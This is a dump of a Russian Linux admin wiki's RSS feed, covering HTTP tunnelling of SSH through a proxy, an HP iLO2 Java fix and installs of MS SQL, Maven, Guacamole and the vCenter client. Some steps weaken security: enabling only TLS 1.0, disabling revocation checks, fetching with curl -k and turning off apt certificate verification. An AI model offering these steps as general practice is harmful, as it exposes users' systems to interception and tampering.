&lt;pre class=&quot;code&quot;&gt;systemctl daemon-reload
systemctl enable http-bridge-server.service
systemctl start http-bridge-server.service&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\/etc\/systemd\/system\/http-bridge-server.service&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;etcsystemdsystemhttp-bridge-serverservice&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;2173-2769&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit7&quot; id=&quot;bridge_-_клиент&quot;&gt;bridge - Клиент&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;apt-get install ruby git
git clone https://github.com/MikeQ123/bridge.git
sudo cp ./bridge/http_bridge /usr/bin/&lt;/pre&gt;

&lt;p&gt;
Запускаем клиент:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo bash -c &amp;#039;http_proxy=http://proxy-server:3128 http_bridge client 222 http://tunnel.server/some-path some.ssh-server.com 22 user:password&amp;#039;&lt;/pre&gt;

&lt;p&gt;
Всё. Теперь на клиентской машине на порту &lt;strong&gt;222&lt;/strong&gt; у нас доступен порт &lt;strong&gt;22&lt;/strong&gt; хоста &lt;strong&gt;some.ssh-server.com&lt;/strong&gt;. &lt;br/&gt;

&lt;br/&gt;

Для автоматического запуска клиента при старте сессии &lt;strong&gt;ssh&lt;/strong&gt; нужно добавить в &lt;strong&gt;~/.ssh/config&lt;/strong&gt; такие директивы:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Host mysshserver.com
    ProxyCommand /usr/bin/http_bridge client - http://tunnel.server/some-path %h %p user:password&lt;/pre&gt;

&lt;p&gt;
или в случае с proxy-сервером:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Host mysshserver.com
    ProxyCommand bash -c &amp;#039;http_proxy=http://proxy.server:3128 /usr/bin/http_bridge client - http://tunnel.server/some-path %h %p user:password&amp;#039;&lt;/pre&gt;

&lt;p&gt;
И теперь при выполнении:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ssh user@mysshserver.com&lt;/pre&gt;

&lt;p&gt;
автоматически будет запускаться &lt;strong&gt;bridge&lt;/strong&gt; (повышение привилегий в этом случае не нужно).
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;bridge - \u041a\u043b\u0438\u0435\u043d\u0442&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;bridge_-_\u043a\u043b\u0438\u0435\u043d\u0442&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;2770-4046&amp;quot;} --&gt;
&lt;h4 class=&quot;sectionedit8&quot; id=&quot;etcsystemdsystemhttp-bridge-clientservice&quot;&gt;/etc/systemd/system/http-bridge-client.service&lt;/h4&gt;
&lt;div class=&quot;level4&quot;&gt;

&lt;p&gt;
Для автоматического запуска клиента сделаем юнит сервиса:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[Unit]
Description=HTTP Tunnel Client Service 
After=network.target

[Service]
Environment=&amp;quot;http_proxy=http://proxy_server:3128&amp;quot;
ExecStart=/usr/bin/http_bridge client 222 http://tunnel.server/some-path some.ssh-server.com 22 user:password
RestartSec=10
Restart=always

[Install]
WantedBy=multi-user.target&lt;/pre&gt;

&lt;p&gt;
Уведомляем &lt;strong&gt;systemd&lt;/strong&gt;, включаем сервис и запускаем его:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo systemctl daemon-reload
sudo systemctl enable http-bridge-client.service
sudo systemctl start http-bridge-client.service&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\/etc\/systemd\/system\/http-bridge-client.service&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;etcsystemdsystemhttp-bridge-clientservice&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;4047-4757&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit9&quot; id=&quot;httptunnel&quot;&gt;httptunnel&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://github.com/larsbrinkhoff/httptunnel&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/larsbrinkhoff/httptunnel&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/larsbrinkhoff/httptunnel&lt;/a&gt; &lt;br/&gt;

Можно найти в репозиториях многих дистрибутивов. &lt;br/&gt;

Пишут, что испоьзует чистые &lt;strong&gt;PUT&lt;/strong&gt; и &lt;strong&gt;GET&lt;/strong&gt; запросы, то есть должен проходить большинство &lt;strong&gt;PROXY&lt;/strong&gt;.  
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;httptunnel&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;httptunnel&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:9,&amp;quot;range&amp;quot;:&amp;quot;4758-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 14 Jan 2020 11:02:48 +0000</pubDate>
        </item>
        <item>
            <title>ilo2_com.hp.ilo2.remcons.remocons.class</title>
            <link>https://wiki.autosys.tk/linux_faq/ilo2_com.hp.ilo2.remcons.remocons.class</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В &lt;strong&gt;iLo2&lt;/strong&gt; не работают &lt;strong&gt;java&lt;/strong&gt;-апплеты, &lt;br/&gt;

Например - при запуске консоли появляется ошибка -  &lt;strong&gt;com.hp.ilo2.remcons.remocons.class&lt;/strong&gt; &lt;br/&gt;

Система - &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt;, браузер - &lt;strong&gt;Firefox&lt;/strong&gt;, &lt;strong&gt;Java RE&lt;/strong&gt; - 1.8.101, &lt;strong&gt;iLO2&lt;/strong&gt; - 2,25. &lt;br/&gt;

Я пробывал откатить &lt;strong&gt;Java RE&lt;/strong&gt; до версии &lt;strong&gt;1.7&lt;/strong&gt; - результата это не принесло. &lt;br/&gt;

Сервер &lt;strong&gt;iLo&lt;/strong&gt; был добавлен в &lt;strong&gt;Security exception list JRE&lt;/strong&gt;. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-552&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Оказалось надо в &lt;strong&gt;Java&lt;/strong&gt; отключить все протоколы &lt;strong&gt;SSL&lt;/strong&gt;, кроме &lt;strong&gt;TLS 1.0&lt;/strong&gt;. &lt;br/&gt;

Для этого запускаем &lt;strong&gt;JRE Control Panel&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;/usr/lib/jvm/jre1.8.0_101/bin/ControlPanel&lt;/pre&gt;

&lt;p&gt;
Там на вкладке &lt;strong&gt;Advanced&lt;/strong&gt; внизу снимаем все галочки &lt;strong&gt;Use SSL/TLS&lt;/strong&gt;, и оставляем только &lt;strong&gt;Use TLS 1.0&lt;/strong&gt;. &lt;br/&gt;

Также отключаем все &lt;strong&gt;revocation checks&lt;/strong&gt;. &lt;br/&gt;

После этого проверяем работоспособность Java на &lt;a href=&quot;https://www.java.com/verify/&quot; class=&quot;urlextern&quot; title=&quot;https://www.java.com/verify/&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.java.com/verify/&lt;/a&gt; и запускаем &lt;strong&gt;Remote Console&lt;/strong&gt; в &lt;strong&gt;iLo2&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;553-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>installed_packeges_to_file</title>
            <link>https://wiki.autosys.tk/linux_faq/installed_packeges_to_file</link>
            <description>&lt;pre class=&quot;code&quot;&gt;dpkg -l &amp;gt; packages.csv&lt;/pre&gt;

&lt;p&gt;
Затем редактируем. Оставляем только колонку с названиями пакетов
Затем устанавливаем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cat packages.csv | xargs sudo apt-get install&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>install_freebsd_11_on_usb_flash_drive</title>
            <link>https://wiki.autosys.tk/linux_faq/install_freebsd_11_on_usb_flash_drive</link>
            <description>
&lt;p&gt;
Чтобы поставить FreeBSD с флешки делаем так: &lt;a href=&quot;https://wiki.autosys.tk/linux_faq/make_freebsd_boot_flash_from_iso&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:make_freebsd_boot_flash_from_iso&quot; data-wiki-id=&quot;linux_faq:make_freebsd_boot_flash_from_iso&quot;&gt;Создание установочной флешки FreeBSD 11.0&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
При установке выбираем &lt;strong&gt;ZFS&lt;/strong&gt;. 
После установки система предложит запустить &lt;strong&gt;shell&lt;/strong&gt;, чтобы настроить что нужно.
Запускаем.
Затес смотрим куда смонтирован &lt;strong&gt;bootpool&lt;/strong&gt;. У меня команда 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mount&lt;/pre&gt;

&lt;p&gt;
показала, что &lt;strong&gt;bootpool&lt;/strong&gt; смонтирпован на &lt;strong&gt;/mnt/bootpool&lt;/strong&gt;. Однако, папки &lt;strong&gt;/mnt/bootpool&lt;/strong&gt; не существует. Ок. перемонтируем.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;umount /mnt/bootpool
mount -t zfs bootpool /mnt&lt;/pre&gt;

&lt;p&gt;
и дальше редактируем &lt;strong&gt;/mnt/boot/loader.conf&lt;/strong&gt;. Если этого не сделать, то при загрузке система будет намертво виснуть на &lt;strong&gt;mountroot&amp;gt;&lt;/strong&gt;.
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;bootloaderconf&quot;&gt;/boot/loader.conf&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;kern.cam.boot_delay=&amp;quot;10000&amp;quot;
kern.cam.scsi_delay=&amp;quot;3000&amp;quot;&lt;/pre&gt;

&lt;p&gt;
При увеличении &lt;strong&gt;kern.cam.scsi_delay&lt;/strong&gt; до 10000 - не работает.
&lt;br/&gt;

&lt;br/&gt;

Теперь можно перезагрузиться в свежеустановленную систему.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\/boot\/loader.conf&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;bootloaderconf&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;975-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>install_guacamole_tomcat</title>
            <link>https://wiki.autosys.tk/linux_faq/install_guacamole_tomcat</link>
            <description>&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get -y upgrade &amp;amp;&amp;amp; sudo apt-get -y install software-properties-common
sudo add-apt-repository ppa:guacamole/stable
sudo apt-get -y install guacamole-tomcat libguac-client-ssh0 libguac-client-rdp0&lt;/pre&gt;

&lt;p&gt;
Теперь guacamole доступен тут: &lt;a href=&quot;http://___IP___:8080/guacamole/&quot; class=&quot;urlextern&quot; title=&quot;http://___IP___:8080/guacamole/&quot; rel=&quot;ugc nofollow&quot;&gt;http://___IP___:8080/guacamole/&lt;/a&gt;
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>install_headless_browser_ui4j_on_ubuntu_14.04</title>
            <link>https://wiki.autosys.tk/linux_faq/install_headless_browser_ui4j_on_ubuntu_14.04</link>
            <description>&lt;pre class=&quot;code&quot;&gt;ui4j не собирается с jdk 1.7, требует jdk 1.8
  
apt-get update &amp;amp;&amp;amp; apt-get upgrade
apt-get install maven nano 
apt-get purge openjdk-\* 
wget https://github.com/ui4j/ui4j/archive/master.zip
wget http://download.oracle.com/otn-pub/java/jdk/8u74-b02/jdk-8u74-linux-x64.tar.gz
mkdir /usr/local/java
cp ./jdk-8u74-linux-x64.tar.gz /usr/local/java
cd /usr/local/java
tar -xvf ./jdk-8u74-linux-x64.tar.gz&lt;/pre&gt;

&lt;p&gt;
Добавляем в /etc/environment в PATH добавляем &lt;strong&gt;/usr/local/java/jdk1.8.0_74/bin&lt;/strong&gt; и прописываем &lt;strong&gt;JAVA_HOME=“/usr/local/java/jdk1.8.0_74/“&lt;/strong&gt;
И теперь перезагружаемся:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;reboot&lt;/pre&gt;

&lt;p&gt;
Так как мы удалили &lt;strong&gt;openjdk-&lt;/strong&gt;* пакеты, то maven надо переустановить.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apt-get install maven&lt;/pre&gt;

&lt;p&gt;
Распаковываем &lt;strong&gt;ui4j&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;unzip ./master.zip
cd ui4j-master&lt;/pre&gt;

&lt;p&gt;
Собираем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mvn install -DskipTests=true -Dgpg.skip=true  &lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>install_kde5_on_ubuntu_16.04_server</title>
            <link>https://wiki.autosys.tk/linux_faq/install_kde5_on_ubuntu_16.04_server</link>
            <description>&lt;pre class=&quot;code&quot;&gt;sudo add-apt-repository ppa:kubuntu-ppa/backports
aptitude install kubuntu-full
aptitude install xorg&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>install_latest_maven_on_ubuntu</title>
            <link>https://wiki.autosys.tk/linux_faq/install_latest_maven_on_ubuntu</link>
            <description>
&lt;p&gt;
Скачиваем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://mirror.linux-ia64.org/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz&lt;/pre&gt;

&lt;p&gt;
Распаковываем в &lt;strong&gt;/opt&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo tar xf ./apache-maven-*.tar.gz -C /opt&lt;/pre&gt;

&lt;p&gt;
Для удобного обновления сделаем символическую ссылку &lt;strong&gt;/opt/maven&lt;/strong&gt;, указывающую на актуальную директорию:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo ln -s /opt/apache-maven-3.6.3 /opt/maven&lt;/pre&gt;

&lt;p&gt;
В дальнейшем при для обновления будет достаточно распаковать свежий maven и создать новый симлинк на новую директорию. &lt;br/&gt;

Настраиваем переменные окружения. Создаим файлик &lt;strong&gt;/etc/profile.d/maven.sh&lt;/strong&gt;, в котором зададим все необходимые переменные.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo nano /etc/profile.d/maven.sh&lt;/pre&gt;

&lt;p&gt;
и запишем туда вот что:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;export JAVA_HOME=/usr/lib/jvm/default-java
export M2_HOME=/opt/maven
export MAVEN_HOME=/opt/maven
export PATH=${M2_HOME}/bin:${PATH}&lt;/pre&gt;

&lt;p&gt;
и сделаем его исполняемым:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo chmod +x /etc/profile.d/maven.sh&lt;/pre&gt;

&lt;p&gt;
Всё. теперь можно либо перелогиниться/перезагрузиться или просто подгрузить этот файлик вручную:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;source /etc/profile.d/maven.sh&lt;/pre&gt;

&lt;p&gt;
И убедиться что свежий maven на месте:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;maven --version&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 24 Mar 2020 18:56:07 +0000</pubDate>
        </item>
        <item>
            <title>install_ms_sql_on_ubuntu</title>
            <link>https://wiki.autosys.tk/linux_faq/install_ms_sql_on_ubuntu</link>
            <description>&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade -y &amp;amp;&amp;amp; sudo apt-get install nano curl -y&lt;/pre&gt;

&lt;p&gt;
Добавляем репозиторий и ключ:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;curl -k https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -
curl -k https://packages.microsoft.com/config/ubuntu/16.04/mssql-server.list | sudo tee /etc/apt/sources.list.d/mssql-server.list
curl -k https://packages.microsoft.com/config/ubuntu/16.04/prod.list | sudo tee /etc/apt/sources.list.d/msprod.list&lt;/pre&gt;

&lt;p&gt;
Отключаем проверку сертификатов (или устанавливаем корневой сертификат Microsoft)
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo &amp;#039;Acquire::https::packages.microsoft.com::Verify-Peer &amp;quot;false&amp;quot;;&amp;#039; | sudo tee /etc/apt/apt.conf.d/80ms_ignore_certs&lt;/pre&gt;

&lt;p&gt;
Устанавливаем MSQSQL:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update
sudo apt-get install mssql-server mssql-tools unixodbc-dev -y&lt;/pre&gt;

&lt;p&gt;
Конфигурируем (тут нужно будет задать пароль SA):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /opt/mssql/bin/mssql-conf setup&lt;/pre&gt;

&lt;p&gt;
Создаем ссылки на утилиты:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; sudo ln -sfn /opt/mssql-tools/bin/sqlcmd  /usr/bin/sqlcmd 
 sudo ln -sfn /opt/mssql-tools/bin/bcp /usr/bin/bcp&lt;/pre&gt;

&lt;p&gt;
Смотрим состояние сервиса:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo systemctl status mssql-server&lt;/pre&gt;

&lt;p&gt;
Остановка сервиса:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /opt/mssql/bin/sqlservr-setup --stop-service&lt;/pre&gt;

&lt;p&gt;
Логи смотрим в файликах &lt;strong&gt;/var/opt/mssql/log/errorlog&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo cat /var/opt/mssql/log/errorlog&lt;/pre&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;mssql_в_контейнере_lxc&quot;&gt;MSSQL в контейнере LXC&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
У меня &lt;strong&gt;mssql-server&lt;/strong&gt; нормально установился и запустился в контейнере &lt;strong&gt;LXC&lt;/strong&gt; с &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt;, но только когда контейнер был размещен в директории на разделе с &lt;strong&gt;BTRFS&lt;/strong&gt;.
В случае, когда я пытался создать контейнер с файловой системой в пуле &lt;strong&gt;ZFS&lt;/strong&gt;, &lt;strong&gt;mssql&lt;/strong&gt; стартовал и тут же останавливался с ошибкой:
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;MSSQL \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435 LXC&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;mssql_\u0432_\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435_lxc&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1443-1999&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;sql_server_management_studio_ssms&quot;&gt;SQL Server Management Studio (SSMS)&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://msdn.microsoft.com/library/mt238290.aspx&quot; class=&quot;urlextern&quot; title=&quot;https://msdn.microsoft.com/library/mt238290.aspx&quot; rel=&quot;ugc nofollow&quot;&gt;https://msdn.microsoft.com/library/mt238290.aspx&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;SQL Server Management Studio (SSMS)&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;sql_server_management_studio_ssms&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;2000-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>install_vcenter_under_wine</title>
            <link>https://wiki.autosys.tk/linux_faq/install_vcenter_under_wine</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;vcenter_под_wine&quot;&gt;VCenter под Wine&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Проверено на &lt;strong&gt;Ubuntu Server 16.04.2&lt;/strong&gt; + &lt;strong&gt;KDE&lt;/strong&gt; из &lt;strong&gt;kubuntu-backports&lt;/strong&gt; + &lt;strong&gt;wine 1.6&lt;/strong&gt;. &lt;br/&gt;

Проверено на &lt;strong&gt;VCenter Client 5.5&lt;/strong&gt; и &lt;strong&gt;VCenter Client 6.0&lt;/strong&gt;. &lt;br/&gt;

&lt;a href=&quot;https://appdb.winehq.org/objectManager.php?sClass=version&amp;amp;iId=32171&quot; class=&quot;urlextern&quot; title=&quot;https://appdb.winehq.org/objectManager.php?sClass=version&amp;amp;iId=32171&quot; rel=&quot;ugc nofollow&quot;&gt;https://appdb.winehq.org/objectManager.php?sClass=version&amp;amp;iId=32171&lt;/a&gt; &lt;br/&gt;

&lt;strong&gt;Console&lt;/strong&gt; виртуальных машин не работает (зато &lt;strong&gt;console&lt;/strong&gt; работает в &lt;strong&gt;VCenter WebClient&lt;/strong&gt;), однако работает &lt;strong&gt;upload&lt;/strong&gt; файлов в &lt;strong&gt;Datastore&lt;/strong&gt;, который не работает в &lt;strong&gt;VCenter WebClient&lt;/strong&gt; без &lt;strong&gt;Client Integration Plugin&lt;/strong&gt;, который, в свою очередь, сломан в текущих версиях браузеров &lt;strong&gt;Firefox&lt;/strong&gt; и &lt;strong&gt;Chrome&lt;/strong&gt;.
&lt;br/&gt;

&lt;br/&gt;

Устанавливаем &lt;strong&gt;Wine&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get -f install wine
WINEARCH=win32 winecfg&lt;/pre&gt;

&lt;p&gt;
Устанавливаем запчасти:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;WINEARCH=win32 winetricks msxml3 vcrun2005 vcrun2008 vcrun2010 vcrun2012 vjrun20
wget http://download.microsoft.com/download/6/0/f/60fc5854-3cb8-4892-b6db-bd4f42510f28/dotnetfx35.exe
wine dotnetfx35.exe&lt;/pre&gt;

&lt;p&gt;
Запускаем установку &lt;strong&gt;VCenter Client&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;WINEARCH=win32 wine ~/Downloads/VMware-viclient.exe&lt;/pre&gt;

&lt;p&gt;
В процессе установки &lt;strong&gt;VCenter Client 6.0&lt;/strong&gt; инсталлятор надолго остановился. При просмотре процессов в &lt;strong&gt;htop&lt;/strong&gt; с фильтром &lt;strong&gt;C:\&lt;/strong&gt; обнаружилось, что остановился процесс установки &lt;strong&gt;vcredist2012.exe&lt;/strong&gt;. Я его просто завершил, потому что &lt;strong&gt;vcrun2012&lt;/strong&gt; был установлен через &lt;strong&gt;winetrics&lt;/strong&gt; и установка &lt;strong&gt;VCenter Client 6.0&lt;/strong&gt; продолжилась нормально. В конце установки вывалилась ошибка установки драйвера:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;VMInstallHcmon
Failed to install the hcmon driver&lt;/pre&gt;

&lt;p&gt;
 Тут не нужно торопиться нажимать &lt;strong&gt;ОК&lt;/strong&gt;. Нужно сделать бекап директории &lt;strong&gt;~/.wine/&lt;/strong&gt;.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cp ~/.wine/ ~/.wine_vc -R&lt;/pre&gt;

&lt;p&gt;
Затем завершить установку &lt;strong&gt;VCenter Client&lt;/strong&gt; - &lt;strong&gt;ОК&lt;/strong&gt; и &lt;strong&gt;Finish&lt;/strong&gt;. &lt;br/&gt;

Теперь возвращаем бекап на место и запускаем &lt;strong&gt;VCenter Client&lt;/strong&gt;.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;rm -Rf ~/.wine &amp;amp;&amp;amp; mv ~/.wine_vc ~/.wine
WINEARCH=win32 wine ~/.wine/drive_c/Program\ Files/VMware/Infrastructure/Virtual\ Infrastructure\ Client/Launcher/VpxClient.exe&lt;/pre&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>intel_ax210ngw_ubuntu_drivers_and_firmware</title>
            <link>https://wiki.autosys.tk/linux_faq/intel_ax210ngw_ubuntu_drivers_and_firmware</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В наличии ноутбук (&lt;strong&gt;Honor MagicBook Pro 16 2020 AMD Ryzen 4800H&lt;/strong&gt;) с &lt;strong&gt;Ubuntu 20.10&lt;/strong&gt;, ядро 5.11.10-051110-lowlatency. &lt;br/&gt;

Его дефолтный Wifi-адаптер &lt;strong&gt;Realtek RTL8822CE&lt;/strong&gt; был заменен на &lt;strong&gt;Intel AX210NGW&lt;/strong&gt;. &lt;br/&gt;

После перезагрузки Wi-Fi не завелся.
В выводе &lt;strong&gt;lspci&lt;/strong&gt; такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ lspci
...
01:00.0 Network controller: Intel Corporation Device 2725 (rev 1a)
...&lt;/pre&gt;

&lt;p&gt;
Однако, &lt;strong&gt;iwconfig&lt;/strong&gt; не признает адаптер в качестве &lt;strong&gt;Wi-Fi&lt;/strong&gt;хотя &lt;strong&gt;rfkill list&lt;/strong&gt; всё показывает. &lt;br/&gt;

В сообщениях ядра среди всего прочего такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;bluetooth hci0: Direct firmware load for intel/ibt-0041-0041.sfi failed with error -2&lt;/pre&gt;

&lt;/div&gt;
